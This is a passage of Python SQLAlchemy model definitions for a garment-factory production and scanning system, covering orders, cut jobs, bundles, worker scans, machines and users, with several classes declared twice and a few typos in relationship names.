ProductionOrder(db.Model): __tablename__ = 'production_order' __table_args__ = {'extend_existing': True} ProductionOrderID=db.Column(Integer, primary_key = True, autoincrement=False) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") class SaleOrder(db.Model): __tablename__ = 'sale_order' __table_args__ = {'extend_existing': True} SaleOrderID=db.Column(Integer, primary_key = True, autoincrement=False) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) class StyleTemplate(db.Model): __tablename__ = 'style_template' __table_args__ = {'extend_existing': True} StyleTemplateID=db.Column(Integer, primary_key = True, autoincrement=False) StyleTemplateCode=db.Column(String(64)) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) # db.Model.metadata.create_all(engine_postgres) class Marker(db.Model): __tablename__ = 'marker' __table_args__ = {'extend_existing': True} MarkerID=db.Column(Integer, primary_key = True, autoincrement=False) MarkerCode=db.Column(String(64)) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) MarkerMapping=db.Column(JSON) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) # Size=db.Column(Integer) # Inseam=db.Column(Integer) # Ratio=db.Column(Integer) production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") class CutJob(db.Model): __tablename__ = 'cut_job' __table_args__ = {'extend_existing': True} CutJobID=db.Column(Integer, primary_key = True, autoincrement=False) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") marker = relationship("Marker") class CutReport(db.Model): __tablename__ = 'cut_report' __table_args__ = {'extend_existing': True} BundleCode=db.Column(String(64)) BundleQuantity=db.Column(Integer) ScannedQuantity=db.Column(Integer) RemainingQuantity=db.Column(Integer) CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) cut_job = relationship("CutJob") production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") marker = relationship("Marker") class Operation(db.Model): __tablename__ = 'operation' __table_args__ = {'extend_existing': True} OperationID=db.Column(Integer, primary_key = True, autoincrement=False) OperationCode=db.Column(String(64)) OperationName =db.Column(String(64)) OperationDescription = db.Column(String(64)) Department = db.Column(String(64)) PieceRate=db.Column(Integer) OperationType=db.Column(String(64)) OperationImageUrl=db.Column(String(2056)) OperationThumbnailUrl=db.Column(String(2056)) SectionID = db.Column(Integer, db.ForeignKey("section.SectionID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) section = relationship("Section") class Section(db.Model): __tablename__ = 'section' __table_args__ = {'extend_existing': True} SectionID=db.Column(Integer, primary_key = True, autoincrement=False) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) class PieceWiseCutReport(db.Model): __tablename__ = 'piece_wise_cut_report' __table_args__ = {'extend_existing': True} PieceID=db.Column(Integer, primary_key = True, autoincrement=False) BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID")) PieceNumber=db.Column(Integer) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) BundleCode=db.Column(String(64)) BundleQuantity=db.Column(Integer) ScannedQuantity=db.Column(Integer) RemainingQuantity=db.Column(Integer) CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID")) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") marker = relationship("Marker") cut_report = relationship("CutReport") cut_job = relationship("CutJob") class Scan(db.Model): __tablename__ = 'scan' __table_args__ = {'extend_existing': True} ScanID=db.Column(BIGINT, primary_key = True, autoincrement=False) ShortAddress=db.Column(String(64)) LongAddress=db.Column(String(64)) HostIP=db.Column(String(64)) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) LineID=db.Column(Integer,db.ForeignKey("line.LineID")) LineCode=db.Column(String(64)) LineDescription=db.Column(String(64)) WorkerID =db.Column(Integer, db.ForeignKey("worker.WorkerID")) WorkerCode=db.Column(String(64)) WorkerDescription=db.Column(String(64)) WorkerImageUrl=db.Column(String(2056)) WorkerThumbnailUrl=db.Column(String(2056)) AllocatedMachines=db.Column(JSON) BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID")) BundleCode=db.Column(String(64)) BundleQuantity=db.Column(Integer) ScannedQuantity=db.Column(Integer) RemainingQuantity=db.Column(Integer) CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID")) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID")) MachineCode=db.Column(String(64)) MachineDescription=db.Column(String(64)) MachineImageUrl=db.Column(String(2056)) MachineThumbnailUrl=db.Column(String(2056)) MachineTypeID=db.Column(Integer) ActiveWorkerID=db.Column(Integer) Operations=db.Column(JSON) BoxID=db.Column(Integer) MachineTypeCode=db.Column(String(64)) MachineTypeDescription=db.Column(String(64)) Allowance=db.Column(Float) OperationID=db.Column(Integer,db.ForeignKey("operation.OperationID")) OperationCode=db.Column(String(64)) OperationName=db.Column(String(64)) OperationDescription=db.Column(String(64)) Department=db.Column(String(64)) PieceRate=db.Column(Integer) OperationType=db.Column(String(64)) OperationImageUrl=db.Column(String(2056)) OperationThumbnailUrl=db.Column(String(2056)) SectionID=db.Column(Integer, db.ForeignKey("section.SectionID")) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) PieceID=db.Column(Integer) PieceNumber=db.Column(Integer) WorkerScanID=db.Column(BIGINT, db.ForeignKey("worker_scan.WorkerScanID")) WorkerOperations=db.Column(JSON) HasExpired=db.Column(Integer) EndedAt=db.Column(DateTime) section = relationship("Section") operation = relationship("Operation") production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") marker = relationship("Marker") cut_report = relationship("CutReport") cut_job = relationship("Cutjob") machine = relationship("Machine") line = relationship("Line") worker = relationship("Worker") worker_scan = relationship("WorkerScan") class StyleTemplate(db.Model): __tablename__ = 'style_template' __table_args__ = {'extend_existing': True} StyleTemplateID=db.Column(Integer, primary_key = True, autoincrement=False) StyleTemplateCode=db.Column(String(64)) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) # db.Model.metadata.create_all(engine_postgres) class Marker(db.Model): __tablename__ = 'marker' __table_args__ = {'extend_existing': True} MarkerID=db.Column(Integer, primary_key = True, autoincrement=False) MarkerCode=db.Column(String(64)) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) MarkerMapping=db.Column(JSON) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) # Size=db.Column(Integer) # Inseam=db.Column(Integer) # Ratio=db.Column(Integer) production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") class CutJob(db.Model): __tablename__ = 'cut_job' __table_args__ = {'extend_existing': True} CutJobID=db.Column(Integer, primary_key = True, autoincrement=False) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") marker = relationship("Marker") class CutReport(db.Model): __tablename__ = 'cut_report' __table_args__ = {'extend_existing': True} BundleID=db.Column(Integer, primary_key = True, autoincrement=False) BundleCode=db.Column(String(64)) BundleQuantity=db.Column(Integer) ScannedQuantity=db.Column(Integer) RemainingQuantity=db.Column(Integer) CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) cut_job = relationship("CutJob") production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") marker = relationship("Marker") class Operation(db.Model): __tablename__ = 'operation' __table_args__ = {'extend_existing': True} OperationID=db.Column(Integer, primary_key = True, autoincrement=False) OperationCode=db.Column(String(64)) OperationName =db.Column(String(64)) OperationDescription = db.Column(String(64)) Department = db.Column(String(64)) PieceRate=db.Column(Integer) OperationType=db.Column(String(64)) OperationImageUrl=db.Column(String(2056)) OperationThumbnailUrl=db.Column(String(2056)) SectionID = db.Column(Integer, db.ForeignKey("section.SectionID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) section = relationship("Section") class Section(db.Model): __tablename__ = 'section' __table_args__ = {'extend_existing': True} SectionID=db.Column(Integer, primary_key = True, autoincrement=False) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) class PieceWiseCutReport(db.Model): __tablename__ = 'piece_wise_cut_report' __table_args__ = {'extend_existing': True} PieceID=db.Column(Integer, primary_key = True, autoincrement=False) BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID")) PieceNumber=db.Column(Integer) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) BundleCode=db.Column(String(64)) BundleQuantity=db.Column(Integer) ScannedQuantity=db.Column(Integer) RemainingQuantity=db.Column(Integer) CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID")) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") marker = relationship("Marker") cut_report = relationship("CutReport") cut_job = relationship("CutJob") class Scan(db.Model): __tablename__ = 'scan' __table_args__ = {'extend_existing': True} ScanID=db.Column(BIGINT, primary_key = True, autoincrement=False) ShortAddress=db.Column(String(64)) LongAddress=db.Column(String(64)) HostIP=db.Column(String(64)) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) LineID=db.Column(Integer,db.ForeignKey("line.LineID")) LineCode=db.Column(String(64)) LineDescription=db.Column(String(64)) WorkerID =db.Column(Integer, db.ForeignKey("worker.WorkerID")) WorkerCode=db.Column(String(64)) WorkerDescription=db.Column(String(64)) WorkerImageUrl=db.Column(String(2056)) WorkerThumbnailUrl=db.Column(String(2056)) AllocatedMachines=db.Column(JSON) BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID")) BundleCode=db.Column(String(64)) BundleQuantity=db.Column(Integer) ScannedQuantity=db.Column(Integer) RemainingQuantity=db.Column(Integer) CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID")) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID")) MachineCode=db.Column(String(64)) MachineDescription=db.Column(String(64)) MachineImageUrl=db.Column(String(2056)) MachineThumbnailUrl=db.Column(String(2056)) MachineTypeID=db.Column(Integer) ActiveWorkerID=db.Column(Integer) Operations=db.Column(JSON) BoxID=db.Column(Integer) MachineTypeCode=db.Column(String(64)) MachineTypeDescription=db.Column(String(64)) Allowance=db.Column(Float) OperationID=db.Column(Integer,db.ForeignKey("operation.OperationID")) OperationCode=db.Column(String(64)) OperationName=db.Column(String(64)) OperationDescription=db.Column(String(64)) Department=db.Column(String(64)) PieceRate=db.Column(Integer) OperationType=db.Column(String(64)) OperationImageUrl=db.Column(String(2056)) OperationThumbnailUrl=db.Column(String(2056)) SectionID=db.Column(Integer, db.ForeignKey("section.SectionID")) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) PieceID=db.Column(Integer) PieceNumber=db.Column(Integer) WorkerScanID=db.Column(BIGINT, db.ForeignKey("worker_scan.WorkerScanID")) WorkerOperations=db.Column(JSON) HasExpired=db.Column(Integer) EndedAt=db.Column(DateTime) section = relationship("Section") operation = relationship("Operation") production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") marker = relationship("Marker") cut_report = relationship("CutReport") cut_job = relationship("Cutjob") machine = relationship("Machine") line = relationship("Line") worker = relationship("Worker") worker_scan = relationship("WorkerScan") class ScanGroup(db.Model): __tablename__ = 'scan_group' __table_args__ = {'extend_existing': True} GroupID=db.Column(Integer, primary_key = True, autoincrement=False) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) class PieceWiseScan(db.Model): __tablename__ = 'piece_wise_scan' __table_args__ = {'extend_existing': True} PieceWiseScanningID=db.Column(Integer, primary_key = True, autoincrement=False) WorkerID =db.Column(Integer, db.ForeignKey("worker.WorkerID")) LineID=db.Column(Integer,db.ForeignKey("line.LineID")) MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) PieceID=db.Column(Integer, db.ForeignKey("piece_wise_cut_report.PieceID")) PieceNumber=db.Column(Integer) BundleCode=db.Column(String(64)) BundleQuantity=db.Column(Integer) ScannedQuantity=db.Column(Integer) RemainingQuantity=db.Column(Integer) CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID")) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) OperationID=db.Column(Integer, db.ForeignKey("operation.OperationID")) OperationCode=db.Column(String(64)) OperationName =db.Column(String(64)) OperationDescription = db.Column(String(64)) Department = db.Column(String(64)) PieceRate=db.Column(Integer) OperationType=db.Column(String(64)) OperationImageUrl=db.Column(String(2056)) OperationThumbnailUrl=db.Column(String(2056)) SectionID = db.Column(Integer, db.ForeignKey("section.SectionID")) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) ScanID=db.Column(BIGINT, db.ForeignKey("scan.ScanID")) ShortAddress=db.Column(String(64)) LongAddress=db.Column(String(64)) HostIP=db.Column(String(64)) LineCode=db.Column(String(64)) LineDescription=db.Column(String(64)) WorkerCode=db.Column(String(64)) WorkerDescription=db.Column(String(64)) WorkerImageUrl=db.Column(String(2056)) WorkerThumbnailUrl=db.Column(String(2056)) AllocatedMachines=db.Column(JSON) MachineCode=db.Column(String(64)) MachineDescription=db.Column(String(64)) MachineImageUrl=db.Column(String(2056)) MachineThumbnailUrl=db.Column(String(2056)) MachineTypeID=db.Column(Integer) ActiveWorkerID=db.Column(Integer) Operations=db.Column(JSON) BoxID=db.Column(Integer) MachineTypeCode=db.Column(String(64)) MachineTypeDescription=db.Column(String(64)) Allowance=db.Column(Float) WorkerScanID=db.Column(BIGINT, db.ForeignKey("worker_scan.WorkerScanID")) WorkerOperations=db.Column(JSON) HasExpired=db.Column(Integer) EndedAt=db.Column(DateTime) BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID")) production_order = relationship("ProductionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") marker = relationship("Marker") cut_report = relationship("CutReport") cut_job = relationship("Cutjob") machine = relationship("Machine") line = relationship("Line") worker = relationship("Worker") worker_scan = relationship("WorkerScan") scan = relationship("Scan") piece_wise_cut_report = relationship("PieceWiseCutReport") operation = relationship("Operation") section = relationship("Section") class Module(db.Model): __tablename__ = 'module' __table_args__ = {'extend_existing': True} ModuleID=db.Column(Integer, primary_key = True, autoincrement=False) ModuleCode=db.Column(String(64)) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) class StyleBulletin(db.Model): __tablename__ = 'style_bulletin' __table_args__ = {'extend_existing': True} StyleBulletinID=db.Column(Integer, primary_key = True, autoincrement=False) StyleTemplateID=db.Column(Integer,db.ForeignKey("style_template.StyleTemplateID")) OperationID=db.Column(Integer, db.ForeignKey("operation.OperationID")) OperationSequence=db.Column(Integer) ScanType=db.Column(String(10)) IsFirst=db.Column(Boolean) IsLast=db.Column(Boolean) MachineTypeID=db.Column(Integer, db.ForeignKey("machine_type.MachineTypeID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) StyleTemplateCode=db.Column(String(64)) OperationCode=db.Column(String(64)) OperationName =db.Column(String(64)) OperationDescription = db.Column(String(64)) Department = db.Column(String(64)) PieceRate=db.Column(Float) OperationType=db.Column(String(64)) OperationImageUrl=db.Column(String(2056)) OperationThumbnailUrl=db.Column(String(2056)) SectionID = db.Column(Integer, db.ForeignKey("section.SectionID")) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) MachineTypeCode=db.Column(String(64)) MachineTypeDescription=db.Column(String(64)) Allowance=db.Column(Float) style_template = relationship("StyleTemplate") operation = relationship("Operation") section = relationship("Section") machine_type = relationship("MachineType") class Tag(db.Model): __tablename__ = 'tag' __table_args__ = {'extend_existing': True} TagID=db.Column(Integer, primary_key = True, autoincrement=False) BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) #db.Column ADDED LATER PieceID=db.Column(Integer) GroupID=db.Column(Integer) BundleCode=db.Column(String(64)) BundleQuantity=db.Column(Integer) ScannedQuantity=db.Column(Integer) RemainingQuantity=db.Column(Integer) CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID")) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID")) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID")) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID")) StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID")) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(100)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) cut_report = relationship("CutReport") cut_job = relationship("CutJob") marker = relationship("Marker") production_order = relationship("ProdcutionOrder") sale_order = relationship("SaleOrder") style_template = relationship("StyleTemplate") class User(db.Model): __tablename__ = 'user' __table_args__ = {'extend_existing': True} UserID=db.Column(Integer, primary_key = True, autoincrement=False) UserName=db.Column(String(64)) Password=db.Column(String(1024)) UserType=db.Column(String(64)) LineID=db.Column(Integer,db.ForeignKey("line.LineID")) SectionID=db.Column(Integer,db.ForeignKey("section.SectionID")) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) LineCode=db.Column(String(64)) LineDescription=db.Column(String(64)) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) line = relationship("Line") section = relationship("Section") class UserPermission(db.Model): __tablename__ = 'userpermission' __table_args__ = {'extend_existing': True} UserPermissionID=db.Column(Integer, primary_key = True, autoincrement=False) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) ModuleID=db.Column(Integer, db.ForeignKey("module.ModuleID")) ModuleCode=db.Column(String(64)) UserID=db.Column(Integer,db.ForeignKey("user.UserID")) UserName=db.Column(String(64)) Password=db.Column(String(1024)) UserType=db.Column(String(64)) LineID=db.Column(Integer,db.ForeignKey("line.LineID")) SectionID=db.Column(Integer,db.ForeignKey("section.SectionID")) LineCode=db.Column(String(64)) LineDescription=db.Column(String(64)) SectionCode=db.Column(String(64)) SectionDescription=db.Column(String(64)) user = relationship("User") module = relationship("Module") line = relationship("Line") section = relationship("Section") class Box(db.Model): __tablename__ = 'box' __table_args__ = {'extend_existing': True} BoxID=db.Column(Integer, primary_key = True, autoincrement=False) BoxCode=db.Column(String(64)) IssueDate=db.Column(DateTime) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) class PieceWiseGroup(db.Model): __tablename__ = 'piece_wise_group' __table_args__ = {'extend_existing': True} PieceWiseGroupID=db.Column(Integer, primary_key = True, autoincrement=False) BundleID=db.Column(Integer) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) GroupName=db.Column(String(1024)) GroupID=db.Column(Integer,db.ForeignKey("scan_group.GroupID")) PieceID=db.Column(Integer,db.ForeignKey("piece_wise_cut_report.PieceID")) PieceNumber=db.Column(Integer) BundleCode=db.Column(String(64)) BundleQuantity=db.Column(Integer) ScannedQuantity=db.Column(Integer) RemainingQuantity=db.Column(Integer) CutJobID=db.Column(Integer) CutNo=db.Column(Integer) ProductionOrderID=db.Column(Integer) CutQuantity=db.Column(Integer) MarkerID=db.Column(Integer) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer) StyleTemplateID=db.Column(Integer) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(64)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) MarkerCode=db.Column(String(64)) MarkerMapping=db.Column(JSON) piece_wise_cut_report = relationship("PieceWiseCutReport") scan_group = relationship("ScanGroup") class MachineDownTime(db.Model): __tablename__ = 'machine_down_time' __table_args__ = {'extend_existing': True} MachineDownTimeID=db.Column(Integer, primary_key = True, autoincrement=False) DownReason=db.Column(String(64)) StartTime=db.Column(DateTime) EndTime=db.Column(DateTime) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID")) MachineCode=db.Column(String(64)) MachineDescription=db.Column(String(64)) MachineImageUrl=db.Column(String(64)) MachineThumbnailUrl=db.Column(String(64)) MachineTypeID=db.Column(Integer) ActiveWorkerID=db.Column(Integer) LineID=db.Column(Integer) Operations=db.Column(JSON) BoxID=db.Column(Integer) IsMachineDown=db.Column(Boolean) LineCode=db.Column(String(64)) LineDescription=db.Column(String(64)) WorkerID=db.Column(Integer) WorkerCode=db.Column(String(64)) WorkerDescription=db.Column(String(64)) WorkerImageUrl=db.Column(String(64)) WorkerThumbnailUrl=db.Column(String(64)) AllocatedMachines=db.Column(Boolean) MachineTypeCode=db.Column(String(64)) MachineTypeDescription=db.Column(String(64)) Allowance=db.Column(Float) machine = relationship("Machine") class LineLayout(Base): __tablename__ = 'line_layout' __table_args__ = {'extend_existing': True} LineLayoutID=db.Column(Integer, primary_key = True, autoincrement=False) RevisionNo=db.Column(Integer) LineLayoutDate=db.Column(DateTime) LineLayoutStatus=db.Column(String(64)) LineLayoutOperationMachines=db.Column(JSON) IsAnyMachines=db.Column(Boolean) ParentLineLayoutID=db.Column(Integer) CreatedAt=db.Column(DateTime) UpdatedAt=db.Column(DateTime) LineID=db.Column(Integer,db.ForeignKey("line.LineID")) LineCode=db.Column(String(64)) LineDescription=db.Column(String(64)) ProductionOrderID=db.Column(Integer,db.ForeignKey("production_order.ProductionOrderID")) ProductionOrderCode=db.Column(String(64)) SaleOrderID=db.Column(Integer) StyleTemplateID=db.Column(Integer) IsFollowOperationSequence=db.Column(Boolean) SaleOrderCode=db.Column(String(64)) Customer=db.Column(String(64)) OrderQuantity=db.Column(Integer) StyleTemplateCode=db.Column(String(64)) line = relationship("Line") production_order = relationship("ProductionOrder")

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null

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8

